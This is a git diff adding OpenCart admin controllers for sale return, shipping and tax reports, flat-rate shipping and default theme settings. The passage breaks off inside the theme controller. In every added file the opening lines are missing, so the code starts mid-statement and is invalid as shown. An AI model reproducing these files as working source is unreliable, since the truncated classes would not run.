+ if (isset($this->request->post['report_sale_return_sort_order'])) {
+ $data['report_sale_return_sort_order'] = $this->request->post['report_sale_return_sort_order'];
+ } else {
+ $data['report_sale_return_sort_order'] = $this->config->get('report_sale_return_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_return_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_return')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_return');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $filter_return_status_id = $this->request->get['filter_return_status_id'];
+ } else {
+ $filter_return_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/return');
+
+ $data['returns'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_return_status_id' => $filter_return_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_total = $this->model_extension_report_return->getTotalReturns($filter_data);
+
+ $results = $this->model_extension_report_return->getReturns($filter_data);
+
+ foreach ($results as $result) {
+ $data['returns'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'returns' => $result['returns']
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_return' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_total - $this->config->get('config_limit_admin'))) ? $return_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_total, ceil($return_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_return_status_id'] = $filter_return_status_id;
+
+ return $this->load->view('extension/report/sale_return_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_shipping.php b/public/admin/controller/extension/report/sale_shipping.php
new file mode 100644
index 0000000..e70390a
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_shipping.php
@@ -0,0 +1,195 @@
+load->language('extension/report/sale_shipping');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_shipping', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_shipping', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_shipping', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_shipping_status'])) {
+ $data['report_sale_shipping_status'] = $this->request->post['report_sale_shipping_status'];
+ } else {
+ $data['report_sale_shipping_status'] = $this->config->get('report_sale_shipping_status');
+ }
+
+ if (isset($this->request->post['report_sale_shipping_sort_order'])) {
+ $data['report_sale_shipping_sort_order'] = $this->request->post['report_sale_shipping_sort_order'];
+ } else {
+ $data['report_sale_shipping_sort_order'] = $this->config->get('report_sale_shipping_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_shipping_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_shipping')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_shipping');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/sale');
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_extension_report_sale->getTotalShipping($filter_data);
+
+ $results = $this->model_extension_report_sale->getShipping($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'title' => $result['title'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_shipping' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/sale_shipping_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_tax.php b/public/admin/controller/extension/report/sale_tax.php
new file mode 100644
index 0000000..a1dbe05
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_tax.php
@@ -0,0 +1,197 @@
+load->language('extension/report/sale_tax');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_tax', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_tax', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_tax', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_tax_status'])) {
+ $data['report_sale_tax_status'] = $this->request->post['report_sale_tax_status'];
+ } else {
+ $data['report_sale_tax_status'] = $this->config->get('report_sale_tax_status');
+ }
+
+ if (isset($this->request->post['report_sale_tax_sort_order'])) {
+ $data['report_sale_tax_sort_order'] = $this->request->post['report_sale_tax_sort_order'];
+ } else {
+ $data['report_sale_tax_sort_order'] = $this->config->get('report_sale_tax_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_tax_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_tax')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_tax');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/sale');
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_extension_report_sale->getTotalTaxes($filter_data);
+
+ $data['orders'] = array();
+
+ $results = $this->model_extension_report_sale->getTaxes($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'title' => $result['title'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_tax' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/sale_tax_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/shipping/flat.php b/public/admin/controller/extension/shipping/flat.php
new file mode 100644
index 0000000..1d4e161
--- /dev/null
+++ b/public/admin/controller/extension/shipping/flat.php
@@ -0,0 +1,99 @@
+load->language('extension/shipping/flat');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('shipping_flat', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=shipping', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=shipping', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/shipping/flat', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/shipping/flat', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=shipping', true);
+
+ if (isset($this->request->post['shipping_flat_cost'])) {
+ $data['shipping_flat_cost'] = $this->request->post['shipping_flat_cost'];
+ } else {
+ $data['shipping_flat_cost'] = $this->config->get('shipping_flat_cost');
+ }
+
+ if (isset($this->request->post['shipping_flat_tax_class_id'])) {
+ $data['shipping_flat_tax_class_id'] = $this->request->post['shipping_flat_tax_class_id'];
+ } else {
+ $data['shipping_flat_tax_class_id'] = $this->config->get('shipping_flat_tax_class_id');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['shipping_flat_geo_zone_id'])) {
+ $data['shipping_flat_geo_zone_id'] = $this->request->post['shipping_flat_geo_zone_id'];
+ } else {
+ $data['shipping_flat_geo_zone_id'] = $this->config->get('shipping_flat_geo_zone_id');
+ }
+
+ $this->load->model('localisation/geo_zone');
+
+ $data['geo_zones'] = $this->model_localisation_geo_zone->getGeoZones();
+
+ if (isset($this->request->post['shipping_flat_status'])) {
+ $data['shipping_flat_status'] = $this->request->post['shipping_flat_status'];
+ } else {
+ $data['shipping_flat_status'] = $this->config->get('shipping_flat_status');
+ }
+
+ if (isset($this->request->post['shipping_flat_sort_order'])) {
+ $data['shipping_flat_sort_order'] = $this->request->post['shipping_flat_sort_order'];
+ } else {
+ $data['shipping_flat_sort_order'] = $this->config->get('shipping_flat_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/shipping/flat', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/shipping/flat')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/theme/default.php b/public/admin/controller/extension/theme/default.php
new file mode 100644
index 0000000..85ac383
--- /dev/null
+++ b/public/admin/controller/extension/theme/default.php
@@ -0,0 +1,414 @@
+load->language('extension/theme/default');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('theme_default', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['product_limit'])) {
+ $data['error_product_limit'] = $this->error['product_limit'];
+ } else {
+ $data['error_product_limit'] = '';
+ }
+
+ if (isset($this->error['product_description_length'])) {
+ $data['error_product_description_length'] = $this->error['product_description_length'];
+ } else {
+ $data['error_product_description_length'] = '';
+ }
+
+ if (isset($this->error['image_category'])) {
+ $data['error_image_category'] = $this->error['image_category'];
+ } else {
+ $data['error_image_category'] = '';
+ }
+
+ if (isset($this->error['image_manufacturer'])) {
+ $data['error_image_manufacturer'] = $this->error['image_manufacturer'];
+ } else {
+ $data['error_image_manufacturer'] = '';
+ }
+
+ if (isset($this->error['image_thumb'])) {
+ $data['error_image_thumb'] = $this->error['image_thumb'];
+ } else {
+ $data['error_image_thumb'] = '';
+ }
+
+ if (isset($this->error['image_popup'])) {
+ $data['error_image_popup'] = $this->error['image_popup'];
+ } else {
+ $data['error_image_popup'] = '';
+ }
+
+ if (isset($this->error['image_product'])) {
+ $data['error_image_product'] = $this->error['image_product'];
+ } else {
+ $data['error_image_product'] = '';
+ }
+
+ if (isset($this->error['image_additional'])) {
+ $data['error_image_additional'] = $this->error['image_additional'];
+ } else {
+ $data['error_image_additional'] = '';
+ }
+
+ if (isset($this->error['image_related'])) {
+ $data['error_image_related'] = $this->error['image_related'];
+ } else {
+ $data['error_image_related'] = '';
+ }
+
+ if (isset($this->error['image_compare'])) {
+ $data['error_image_compare'] = $this->error['image_compare'];
+ } else {
+ $data['error_image_compare'] = '';
+ }
+
+ if (isset($this->error['image_wishlist'])) {
+ $data['error_image_wishlist'] = $this->error['image_wishlist'];
+ } else {
+ $data['error_image_wishlist'] = '';
+ }
+
+ if (isset($this->error['image_cart'])) {
+ $data['error_image_cart'] = $this->error['image_cart'];
+ } else {
+ $data['error_image_cart'] = '';
+ }
+
+ if (isset($this->error['image_location'])) {
+ $data['error_image_location'] = $this->error['image_location'];
+ } else {
+ $data['error_image_location'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/theme/default', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/theme/default', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true);
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $setting_info = $this->model_setting_setting->getSetting('theme_default', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['theme_default_directory'])) {
+ $data['theme_default_directory'] = $this->request->post['theme_default_directory'];
+ } elseif (isset($setting_info['theme_default_directory'])) {
+ $data['theme_default_directory'] = $setting_info['theme_default_directory'];
+ } else {
+ $data['theme_default_directory'] = 'default';
+ }
+
+ $data['directories'] = array();
+
+ $directories = glob(DIR_CATALOG . 'view/theme/*', GLOB_ONLYDIR);
+
+ foreach ($directories as $directory) {
+ $data['directories'][] = basename($directory);
+ }
+
+ if (isset($this->request->post['theme_default_product_limit'])) {
+ $data['theme_default_product_limit'] = $this->request->post['theme_default_product_limit'];
+ } elseif (isset($setting_info['theme_default_product_limit'])) {
+ $data['theme_default_product_limit'] = $setting_info['theme_default_product_limit'];
+ } else {
+ $data['theme_default_product_limit'] = 15;
+ }
+
+ if (isset($this->request->post['theme_default_status'])) {
+ $data['theme_default_status'] = $this->request->post['theme_default_status'];
+ } elseif (isset($setting_info['theme_default_status'])) {
+ $data['theme_default_status'] = $setting_info['theme_default_status'];
+ } else {
+ $data['theme_default_status'] = '';
+ }
+
+ if (isset($this->request->post['theme_default_product_description_length'])) {
+ $data['theme_default_product_description_length'] = $this->request->post['theme_default_product_description_length'];
+ } elseif (isset($setting_info['theme_default_product_description_length'])) {
+ $data['theme_default_product_description_length'] = $setting_info['theme_default_product_description_length'];
+ } else {
+ $data['theme_default_product_description_length'] = 100;
+ }
+
+ if (isset($this->request->post['theme_default_image_category_width'])) {
+ $data['theme_default_image_category_width'] = $this->request->post['theme_default_image_category_width'];
+ } elseif (isset($setting_info['theme_default_image_category_width'])) {
+ $data['theme_default_image_category_width'] = $setting_info['theme_default_image_category_width'];
+ } else {
+ $data['theme_default_image_category_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_category_height'])) {
+ $data['theme_default_image_category_height'] = $this->request->post['theme_default_image_category_height'];
+ } elseif (isset($setting_info['theme_default_image_category_height'])) {
+ $data['theme_default_image_category_height'] = $setting_info['theme_default_image_category_height'];
+ } else {
+ $data['theme_default_image_category_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_manufacturer_width'])) {
+ $data['theme_default_image_manufacturer_width'] = $this->request->post['theme_default_image_manufacturer_width'];
+ } elseif (isset($setting_info['theme_default_image_manufacturer_width'])) {
+ $data['theme_default_image_manufacturer_width'] = $setting_info['theme_default_image_manufacturer_width'];
+ } else {
+ $data['theme_default_image_manufacturer_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_manufacturer_height'])) {
+ $data['theme_default_image_manufacturer_height'] = $this->request->post['theme_default_image_manufacturer_height'];
+ } elseif (isset($setting_info['theme_default_image_manufacturer_height'])) {
+ $data['theme_default_image_manufacturer_height'] = $setting_info['theme_default_image_manufacturer_height'];
+ } else {
+ $data['theme_default_image_manufacturer_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_thumb_width'])) {
+ $data['theme_default_image_thumb_width'] = $this->request->post['theme_default_image_thumb_width'];
+ } elseif (isset($setting_info['theme_default_image_thumb_width'])) {
+ $data['theme_default_image_thumb_width'] = $setting_info['theme_default_image_thumb_width'];
+ } else {
+ $data['theme_default_image_thumb_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_thumb_height'])) {
+ $data['theme_default_image_thumb_height'] = $this->request->post['theme_default_image_thumb_height'];
+ } elseif (isset($setting_info['theme_default_image_thumb_height'])) {
+ $data['theme_default_image_thumb_height'] = $setting_info['theme_default_image_thumb_height'];
+ } else {
+ $data['theme_default_image_thumb_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_popup_width'])) {
+ $data['theme_default_image_popup_width'] = $this->request->post['theme_default_image_popup_width'];
+ } elseif (isset($setting_info['theme_default_image_popup_width'])) {
+ $data['theme_default_image_popup_width'] = $setting_info['theme_default_image_popup_width'];
+ } else {
+ $data['theme_default_image_popup_width'] = 500;
+ }
+
+ if (isset($this->request->post['theme_default_image_popup_height'])) {
+ $data['theme_default_image_popup_height'] = $this->request->post['theme_default_image_popup_height'];
+ } elseif (isset($setting_info['theme_default_image_popup_height'])) {
+ $data['theme_default_image_popup_height'] = $setting_info['theme_default_image_popup_height'];
+ } else {
+ $data['theme_default_image_popup_height'] = 500;
+ }
+
+ if (isset($this->request->post['theme_default_image_product_width'])) {
+ $data['theme_default_image_product_width'] = $this->request->post['theme_default_image_product_width'];
+ } elseif (isset($setting_info['theme_default_image_product_width'])) {
+ $data['theme_default_image_product_width'] = $setting_info['theme_default_image_product_width'];
+ } else {
+ $data['theme_default_image_product_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_product_height'])) {
+ $data['theme_default_image_product_height'] = $this->request->post['theme_default_image_product_height'];
+ } elseif (isset($setting_info['theme_default_image_product_height'])) {
+ $data['theme_default_image_product_height'] = $setting_info['theme_default_image_product_height'];
+ } else {
+ $data['theme_default_image_product_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_additional_width'])) {
+ $data['theme_default_image_additional_width'] = $this->request->post['theme_default_image_additional_width'];
+ } elseif (isset($setting_info['theme_default_image_additional_width'])) {
+ $data['theme_default_image_additional_width'] = $setting_info['theme_default_image_additional_width'];
+ } else {
+ $data['theme_default_image_additional_width'] = 74;
+ }
+
+ if (isset($this->request->post['theme_default_image_additional_height'])) {
+ $data['theme_default_image_additional_height'] = $this->request->post['theme_default_image_additional_height'];
+ } elseif (isset($setting_info['theme_default_image_additional_height'])) {
